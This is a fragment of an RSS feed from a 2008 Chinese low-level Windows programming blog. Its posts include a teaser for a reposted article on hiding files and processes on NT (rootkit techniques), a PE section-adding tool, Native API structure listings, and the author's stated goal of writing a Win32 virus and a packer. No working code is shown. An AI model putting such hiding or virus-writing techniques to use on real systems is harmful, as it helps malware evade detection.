GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2008/06/10/52797.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/52797.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2008/06/10/52797.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/52797.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/52797.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 转载学习原文：http://blog.csdn.net/SpiderF/archive/2005/04/05/336594.aspx在NT系列操作系统里让自己&#8220;消失&#8221;1. 内容2. 介绍3. 文件&nbsp;&nbsp;&nbsp; 3.1 NtQueryDirectoryFile&nbsp;&nbsp;&nbsp; 3.2 NtVdmControl4. 进程5. ...&nbsp;&nbsp;<a href='http://www.cppblog.com/saga/archive/2008/06/10/52797.html'>阅读全文</a><img src ="http://www.cppblog.com/saga/aggbug/52797.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2008-06-10 21:15 <a href="http://www.cppblog.com/saga/archive/2008/06/10/52797.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[原创]PE加0段工具源码</title><link>http://www.cppblog.com/saga/archive/2008/06/10/52777.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 10 Jun 2008 09:48:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2008/06/10/52777.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/52777.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2008/06/10/52777.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/52777.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/52777.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;自己写的PE加0段工具&nbsp;&nbsp; 比较简单&nbsp; 高手笑过<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 支持文件拖放，总在最上。&nbsp; 不支持含有overlap的程序。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;程序下载：&nbsp;&nbsp; <a href="http://www.cppblog.com/Files/saga/MyZeroAdd.rar">http://www.cppblog.com/Files/saga/MyZeroAdd.rar</a><br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;源码下载：&nbsp;&nbsp; <a href="http://www.cppblog.com/Files/saga/MyZeroAdd%20vc6%20code.rar">http://www.cppblog.com/Files/saga/MyZeroAdd%20vc6%20code.rar</a><a href="http://www.cppblog.com/Files/saga/MyZeroAdd.rar"></a>&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如有bug，请指出，谢谢。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;------------------saga.constantine
<img src ="http://www.cppblog.com/saga/aggbug/52777.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2008-06-10 17:48 <a href="http://www.cppblog.com/saga/archive/2008/06/10/52777.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转载]NtQuerySystemInformation</title><link>http://www.cppblog.com/saga/archive/2008/06/07/52453.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Sat, 07 Jun 2008 08:53:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2008/06/07/52453.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/52453.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2008/06/07/52453.html#Feedback</comments><slash:comments>6</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/52453.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/52453.html</trackback:ping><description><![CDATA[輔助材料&#8230;&#8230;原文地址：http://hi.baidu.com/ring3world/blog/item/3f0fb1dbf1fa0a65d0164eab.html<br><br>Native API乃Windows用户模式中为上层Win32 API提供接口的本机系统服务。平常我们总是调用MS为我们提供的公用的Win32 API函数来实现来实现我们系统的功能。今天我们要谈的是如何通过本机系统服务(Native API）来探测本机系统信息。当然，微软没有为我们提供关于本机系统服务的文档 (Undocumented)，也就是不会为对它的使用提供任何的保证，所以我们不提倡使用Native API来开发软件。不过在特殊情况下，本机系统服务却为我们提供了通向&#8220;秘密&#8221;的捷径。本文提到的信息仅在Windows2000/XP/2003上测试 过。<br><br>今天，我们主要讨论的是一个函数NtQuerySystemInformation(ZwQuerySystemInformation)。当然，你不要小看这么一个函数，它却为我们提供了丰富的系统信息，同时还包括对某些信息的控制和设置。以下是这个函数的原型：<br><br>typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)<br>(IN　　 SYSTEM_INFORMATION_CLASS SystemInformationClass,<br>IN OUT PVOID　　　　　　　　　　SystemInformation,<br>IN　　 ULONG　　　　　　　　　　SystemInformationLength,<br>OUT　　 PULONG　　　　　　　　 ReturnLength OPTIONAL)；<br>NTQUERYSYSTEMINFORMATION NtQuerySystemInformation；<br><br>
<div>NtQuerySystemInformation这个函数有四个参数：</div>
<div></div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 第一个参数是dwRecordType，这个参数指定了我们所查询的系统信息类型，为了查询系统HANDLE列表，我们定义一个常量#define NT_HANDLE_LIST 16（这个数值我是查资料得到的，如果谁有更详细的资料，也请让我共享一下）。</div>
<div><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 第二个参数是一个指针，这个指针用来返回系统句柄列表，在调用NtQuerySystemInformation函数之前，必须为这个指针分配足够的内存空间，否则函数调用会出错。</div>
<div><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 第三个参数是指定你为HandleList所分配的内存空间大小，单位是byte。</div>
<div><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 第四个参数是NtQuerySystemInformation返回的HandleList的大小；如果NtQuerySystemInformation函数调用成功，返回值将是0，否则可以使用GetLastError()获得详细的错误代码。&nbsp;&nbsp;</div>
<br><br>从中可以看到，SystemInformationClass是一个类型信息，它大概提供了50余种信息，也就是我们可以通过这个函数对大约50多种 的系统信息进行探测或设置。SystemInformation是一个LPVOID型的指针，它为我们提供需要获得的信息，或是我们需要设置的系统信息。 SystemInformationLength是SystemInformation的长度，它根据探测的信息类型来决定。至于 ReturnLength则是系统返回的需要的长度，通常可以设置为空指针(NULL)。<br><br>首先，我们来看看大家比较熟悉的系统进程/线程相关的信息。这个题目在网上已经讨论了N多年了，所以我就不在老生常谈了，呵呵。那么就提出这个结构类型的定义：<br><br>typedef struct _SYSTEM_PROCESSES<br>{<br>ULONG　　　　 NextEntryDelta；　　　　 //构成结构序列的偏移量；<br>ULONG　　　　 ThreadCount；　　　　　　 //线程数目；<br>ULONG　　　　 Reserved1[6]；　　　　 <br>LARGE_INTEGER CreateTime；　　　　　　 //创建时间；<br>LARGE_INTEGER UserTime；　　　　　　　　//用户模式(Ring 3)的CPU时间；<br>LARGE_INTEGER KernelTime；　　　　　　 //内核模式(Ring 0)的CPU时间；<br>UNICODE_STRING ProcessName；　　　　　　 //进程名称；<br>KPRIORITY　　 BasePriority；　　　　　　//进程优先权；<br>ULONG　　　　 ProcessId；　　　　　　 //进程标识符；<br>ULONG　　　　 InheritedFromProcessId； //父进程的标识符；<br>ULONG　　　　 HandleCount；　　　　　　 //句柄数目；<br>ULONG　　　　 Reserved2[2]；<br>VM_COUNTERS　　VmCounters；　　　　　　 //虚拟存储器的结构，见下；<br>IO_COUNTERS　　IoCounters；　　　　　　 //IO计数结构，见下；<br>SYSTEM_THREADS Threads[1]；　　　　　　 //进程相关线程的结构数组，见下；<br>}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES；<br><br>typedef struct _SYSTEM_THREADS<br>{<br>LARGE_INTEGER KernelTime；　　　　　　 //CPU内核模式使用时间；<br>LARGE_INTEGER UserTime；　　　　　　　　 //CPU用户模式使用时间；<br>LARGE_INTEGER CreateTime；　　　　　　 //线程创建时间；<br>ULONG　　　　 WaitTime；　　　　　　　　 //等待时间；<br>PVOID　　　　 StartAddress；　　　　　　 //线程开始的虚拟地址；<br>CLIENT_ID　　 ClientId；　　　　　　　　 //线程标识符；<br>KPRIORITY　　 Priority；　　　　　　　　 //线程优先级；<br>KPRIORITY　　 BasePriority；　　　　　　 //基本优先级；<br>ULONG　　　　 ContextSwitchCount；　　 //环境切换数目；<br>THREAD_STATE State；　　　　　　　　　　//当前状态；<br>KWAIT_REASON WaitReason；　　　　　　 //等待原因；<br>}SYSTEM_THREADS,*PSYSTEM_THREADS；<br><br>typedef struct _VM_COUNTERS<br>{<br>ULONG PeakVirtualSize；　　　　　　　　 //虚拟存储峰值大小；<br>ULONG VirtualSize；　　　　　　　　　　 //虚拟存储大小；<br>ULONG PageFaultCount；　　　　　　　　 //页故障数目；<br>ULONG PeakWorkingSetSize；　　　　　　 //工作集峰值大小；<br>ULONG WorkingSetSize；　　　　　　　　 //工作集大小；<br>ULONG QuotaPeakPagedPoolUsage；　　　　 //分页池使用配额峰值；<br>ULONG QuotaPagedPoolUsage；　　　　　　 //分页池使用配额；<br>ULONG QuotaPeakNonPagedPoolUsage；　　 //非分页池使用配额峰值；<br>ULONG QuotaNonPagedPoolUsage；　　　　 //非分页池使用配额；<br>ULONG PagefileUsage；　　　　　　　　　　//页文件使用情况；<br>ULONG PeakPagefileUsage；　　　　　　　　//页文件使用峰值；<br>}VM_COUNTERS,*PVM_COUNTERS；<br><br>typedef struct _IO_COUNTERS<br>{<br>LARGE_INTEGER ReadOperationCount；　　 //I/O读操作数目；<br>LARGE_INTEGER WriteOperationCount；　　 //I/O写操作数目；<br>LARGE_INTEGER OtherOperationCount；　　 //I/O其他操作数目；<br>LARGE_INTEGER ReadTransferCount；　　　　//I/O读数据数目；<br>LARGE_INTEGER WriteTransferCount；　　 //I/O写数据数目；<br>LARGE_INTEGER OtherTransferCount；　　 //I/O其他操作数据数目；<br>}IO_COUNTERS,*PIO_COUNTERS；<br><br>以上这些信息应该是比较全面的了，在Win32 API里为我们提供了PSAPI(进程状态)和ToolHelp32这两种探测系统进程/线程信息的方式，在Windows2K/XP/2003都支持它们。<br><br>现在，我们来看看系统的性能信息，性能结构SYSTEM_PERFORMANCE_INFORMATION为我们提供了70余种系统性能方面的信息，真是太丰富了，请慢慢体会~<br><br>typedef struct _SYSTEM_PERFORMANCE_INFORMATION<br>{<br>LARGE_INTEGER IdleTime；　　　　　　　　　　//CPU空闲时间；<br>LARGE_INTEGER ReadTransferCount；　　　　 //I/O读操作数目；<br>LARGE_INTEGER WriteTransferCount；　　　　 //I/O写操作数目；<br>LARGE_INTEGER OtherTransferCount；　　　　 //I/O其他操作数目；<br>ULONG　　　　 ReadOperationCount；　　　　 //I/O读数据数目；<br>ULONG　　　　 WriteOperationCount；　　　　 //I/O写数据数目；<br>ULONG　　　　 OtherOperationCount；　　　　 //I/O其他操作数据数目；<br>ULONG　　　　 AvailablePages；　　　　　　 //可获得的页数目；<br>ULONG　　　　 TotalCommittedPages；　　　　 //总共提交页数目；<br>ULONG　　　　 TotalCommitLimit；　　　　　　//已提交页数目；<br>ULONG　　　　 PeakCommitment；　　　　　　 //页提交峰值；<br>ULONG　　　　 PageFaults；　　　　　　　　 //页故障数目；<br>ULONG　　　　 WriteCopyFaults；　　　　　　 //Copy-On-Write故障数目；<br>ULONG　　　　 TransitionFaults；　　　　　　//软页故障数目；<br>ULONG　　　　 Reserved1；<br>ULONG　　　　 DemandZeroFaults；　　　　　　//需求0故障数；<br>ULONG　　　　 PagesRead；　　　　　　　　 //读页数目；<br>ULONG　　　　 PageReadIos；　　　　　　　　 //读页I/O操作数；<br>ULONG　　　　 Reserved2[2]；<br>ULONG　　　　 PagefilePagesWritten；　　　　//已写页文件页数；<br>ULONG　　　　 PagefilePageWriteIos；　　　　//已写页文件操作数；<br>ULONG　　　　 MappedFilePagesWritten；　　 //已写映射文件页数；<br>ULONG　　　　 MappedFileWriteIos；　　　　 //已写映射文件操作数；<br>ULONG　　　　 PagedPoolUsage；　　　　　　 //分页池使用；<br>ULONG　　　　 NonPagedPoolUsage；　　　　 //非分页池使用；<br>ULONG　　　　 PagedPoolAllocs；　　　　　　 //分页池分配情况；<br>ULONG　　　　 PagedPoolFrees；　　　　　　 //分页池释放情况；<br>ULONG　　　　 NonPagedPoolAllocs；　　　　 //非分页池分配情况；<br>ULONG　　　　 NonPagedPoolFress；　　　　 //非分页池释放情况；<br>ULONG　　　　 TotalFreeSystemPtes；　　　　 //系统页表项释放总数；<br>ULONG　　　　 SystemCodePage；　　　　　　 //操作系统代码页数；<br>ULONG　　　　 TotalSystemDriverPages；　　 //可分页驱动程序页数；<br>ULONG　　　　 TotalSystemCodePages；　　　　//操作系统代码页总数；<br>ULONG　　　　 SmallNonPagedLookasideListAllocateHits； //小非分页侧视列表分配次数；<br>ULONG　　　　 SmallPagedLookasideListAllocateHits；　　//小分页侧视列表分配次数；<br>ULONG　　　　 Reserved3；　　　　　　　　 <br>ULONG　　　　 MmSystemCachePage；　　　　 //系统缓存页数；<br>ULONG　　　　 PagedPoolPage；　　　　　　 //分页池页数；<br>ULONG　　　　 SystemDriverPage；　　　　 //可分页驱动页数；<br>ULONG　　　　 FastReadNoWait；　　　　　　 //异步快速读数目；<br>ULONG　　　　 FastReadWait；　　　　　　 //同步快速读数目；<br>ULONG　　　　 FastReadResourceMiss；　　 //快速读资源冲突数；<br>ULONG　　　　 FastReadNotPossible；　　　　//快速读失败数；<br>ULONG　　　　 FastMdlReadNoWait；　　　　 //异步MDL快速读数目；<br>ULONG　　　　 FastMdlReadWait；　　　　　　//同步MDL快速读数目；<br>ULONG　　　　 FastMdlReadResourceMiss；　　//MDL读资源冲突数；<br>ULONG　　　　 FastMdlReadNotPossible；　　 //MDL读失败数；<br>ULONG　　　　 MapDataNoWait；　　　　　　 //异步映射数据次数；<br>ULONG　　　　 MapDataWait；　　　　　　　　//同步映射数据次数；<br>ULONG　　　　 MapDataNoWaitMiss；　　　　 //异步映射数据冲突次数；<br>ULONG　　　　 MapDataWaitMiss；　　　　　　//同步映射数据冲突次数；<br>ULONG　　　　 PinMappedDataCount；　　　　 //牵制映射数据数目；<br>ULONG　　　　 PinReadNoWait；　　　　　　 //牵制异步读数目；<br>ULONG　　　　 PinReadWait；　　　　　　　　//牵制同步读数目；<br>ULONG　　　　 PinReadNoWaitMiss；　　　　 //牵制异步读冲突数目；<br>ULONG　　　　 PinReadWaitMiss；　　　　　　//牵制同步读冲突数目；<br>ULONG　　　　 CopyReadNoWait；　　　　　　 //异步拷贝读次数；<br>ULONG　　　　 CopyReadWait；　　　　　　 //同步拷贝读次数；<br>ULONG　　　　 CopyReadNoWaitMiss；　　　　 //异步拷贝读故障次数；<br>ULONG　　　　 CopyReadWaitMiss；　　　　 //同步拷贝读故障次数；<br>ULONG　　　　 MdlReadNoWait；　　　　　　 //异步MDL读次数；<br>ULONG　　　　 MdlReadWait；　　　　　　　　//同步MDL读次数；<br>ULONG　　　　 MdlReadNoWaitMiss；　　　　 //异步MDL读故障次数；<br>ULONG　　　　 MdlReadWaitMiss；　　　　　　//同步MDL读故障次数；<br>ULONG　　　　 ReadAheadIos；　　　　　　 //向前读操作数目；<br>ULONG　　　　 LazyWriteIos；　　　　　　 //LAZY写操作数目；<br>ULONG　　　　 LazyWritePages；　　　　　　 //LAZY写页文件数目；<br>ULONG　　　　 DataFlushes；　　　　　　　　//缓存刷新次数；<br>ULONG　　　　 DataPages；　　　　　　　　 //缓存刷新页数；<br>ULONG　　　　 ContextSwitches；　　　　　　//环境切换数目；<br>ULONG　　　　 FirstLevelTbFills；　　　　 //第一层缓冲区填充次数；<br>ULONG　　　　 SecondLevelTbFills；　　　　 //第二层缓冲区填充次数；<br>ULONG　　　　 SystemCall；　　　　　　　　 //系统调用次数；<br>}SYSTEM_PERFORMANCE_INFORMATION,*PSYSTEM_PERFORMANCE_INFORMATION；<br><br>现在看到的是结构SYSTEM_PROCESSOR_TIMES提供的系统处理器的使用情况，包括各种情况下的使用时间及中断数目：<br><br>typedef struct __SYSTEM_PROCESSOR_TIMES<br>{<br>LARGE_INTEGER IdleTime；　　　　　　 //空闲时间；<br>LARGE_INTEGER KernelTime；　　　　　　 //内核模式时间；<br>LARGE_INTEGER UserTime；　　　　　　 //用户模式时间；<br>LARGE_INTEGER DpcTime；　　　　　　　　//延迟过程调用时间；<br>LARGE_INTEGER InterruptTime；　　　　 //中断时间；<br>ULONG　　　　 InterruptCount；　　　　 //中断次数；<br>}SYSTEM_PROCESSOR_TIMES,*PSYSTEM_PROCESSOR_TIMES；<br><br>页文件的使用情况，SYSTEM_PAGEFILE_INFORMATION提供了所需的相关信息：<br><br>typedef struct _SYSTEM_PAGEFILE_INFORMATION<br>{<br>ULONG NetxEntryOffset；　　　　　　　　//下一个结构的偏移量；<br>ULONG CurrentSize；　　　　　　　　　　//当前页文件大小；<br>ULONG TotalUsed；　　　　　　　　　　 //当前使用的页文件数；<br>ULONG PeakUsed；　　　　　　　　　　 //当前使用的页文件峰值数；<br>UNICODE_STRING FileName；　　　　　　 //页文件的文件名称；<br>}SYSTEM_PAGEFILE_INFORMATION,*PSYSTEM_PAGEFILE_INFORMATION；<br><br>系统高速缓存的使用情况参见结构SYSTEM_CACHE_INFORMATION提供的信息：<br><br>typedef struct _SYSTEM_CACHE_INFORMATION<br>{<br>ULONG SystemCacheWsSize；　　　　　　 //高速缓存大小；<br>ULONG SystemCacheWsPeakSize；　　　　 //高速缓存峰值大小；<br>ULONG SystemCacheWsFaults；　　　　　　//高速缓存页故障数目；<br>ULONG SystemCacheWsMinimum；　　　　 //高速缓存最小页大小；<br>ULONG SystemCacheWsMaximum；　　　　 //高速缓存最大页大小；<br>ULONG TransitionSharedPages；　　　　 //共享页数目；<br>ULONG TransitionSharedPagesPeak；　　 //共享页峰值数目；<br>ULONG Reserved[2]；<br>}SYSTEM_CACHE_INFORMATION,*PSYSTEM_CACHE_INFORMATION；
<img src ="http://www.cppblog.com/saga/aggbug/52453.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2008-06-07 16:53 <a href="http://www.cppblog.com/saga/archive/2008/06/07/52453.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[下载]UltraEdit的MASM语法着色文件</title><link>http://www.cppblog.com/saga/archive/2008/01/12/41044.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Sat, 12 Jan 2008 12:25:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2008/01/12/41044.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/41044.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2008/01/12/41044.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/41044.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/41044.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;网上找的UE的MASM语法着色文件，链接不多，所以上传提供一个下载。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下载地址:<a href="http://www.cppblog.com/Files/saga/MASM.rar">http://www.cppblog.com/Files/saga/MASM.rar</a><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;---------------saga.constantine 
<img src ="http://www.cppblog.com/saga/aggbug/41044.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2008-01-12 20:25 <a href="http://www.cppblog.com/saga/archive/2008/01/12/41044.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[无奈]MASM32和kaspersky就是不兼容！谁知道解决办法！</title><link>http://www.cppblog.com/saga/archive/2008/01/12/41017.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Sat, 12 Jan 2008 03:52:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2008/01/12/41017.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/41017.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2008/01/12/41017.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/41017.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/41017.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MASM32 v8.0至v9.0版本和卡巴斯基6.0至7.0版本，貌似都不兼容。<img height=20 src="http://www.cppblog.com/Emoticons/QQ/02.gif" width=20 border=0><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MASM32无法安装，上了MASM32的官方论坛看了，说是DEP（数据执行保护）的原因，将在下个版本中解决。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;设置排除，关闭卡巴，或者是关闭DEP，都是没有作用的。<img height=20 src="http://www.cppblog.com/Emoticons/QQ/icon18.gif" width=25 border=0><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;卸载卡巴，之后就可以安装了。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;比较郁闷，kav7.0本来是很不错的AV软件。用过很多杀软。nod32，norton，avast，macfee。除了macfee的溢出保护感觉很不错以为。还是觉得kav是最好使用的。真的不想卸载。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;谁要是知道解决方法。麻烦共享一下，谢。<img height=20 src="http://www.cppblog.com/Emoticons/QQ/smile.gif" width=20 border=0><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;------------saga.constantine
<img src ="http://www.cppblog.com/saga/aggbug/41017.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2008-01-12 11:52 <a href="http://www.cppblog.com/saga/archive/2008/01/12/41017.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[计划]学习上2008给自己定两个目标</title><link>http://www.cppblog.com/saga/archive/2008/01/10/40916.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Thu, 10 Jan 2008 10:50:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2008/01/10/40916.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/40916.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2008/01/10/40916.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/40916.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/40916.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;今天不知道是心血来潮还是由来已久，给自己定两个目标。目标应该就是具体的：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;目标一：编写一个简单的WIN32病毒程序。（具体怎么样的以后补充修改，说明一下写这绝非恶意，只为学习）<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;目标二：编写一个简单的加壳软件。（具体运用什么技术，做出什么样还是以后补充。因为我也不知道）<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我知道这样的目标现实不现实，我只知道现实的我缺乏目标。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2008年尾再来看看今天到底是不是冲动。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如果没有实现这两个目标。我会很失望。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如果实现了两个，我会继续追求理想。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如果只实现一个，我会在2009年实现另一个。谁叫我笨呢？<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;---------saga.constantine
<img src ="http://www.cppblog.com/saga/aggbug/40916.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2008-01-10 18:50 <a href="http://www.cppblog.com/saga/archive/2008/01/10/40916.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[纪念]英雄---孟祥斌！</title><link>http://www.cppblog.com/saga/archive/2008/01/09/40774.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Wed, 09 Jan 2008 02:14:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2008/01/09/40774.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/40774.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2008/01/09/40774.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/40774.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/40774.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<img style="WIDTH: 171px; HEIGHT: 230px" height=230 alt="" src="http://www.cppblog.com/images/cppblog_com/saga/5951/r_U1846P1T1D14430129F21DT20071202144702.jpg" width=171 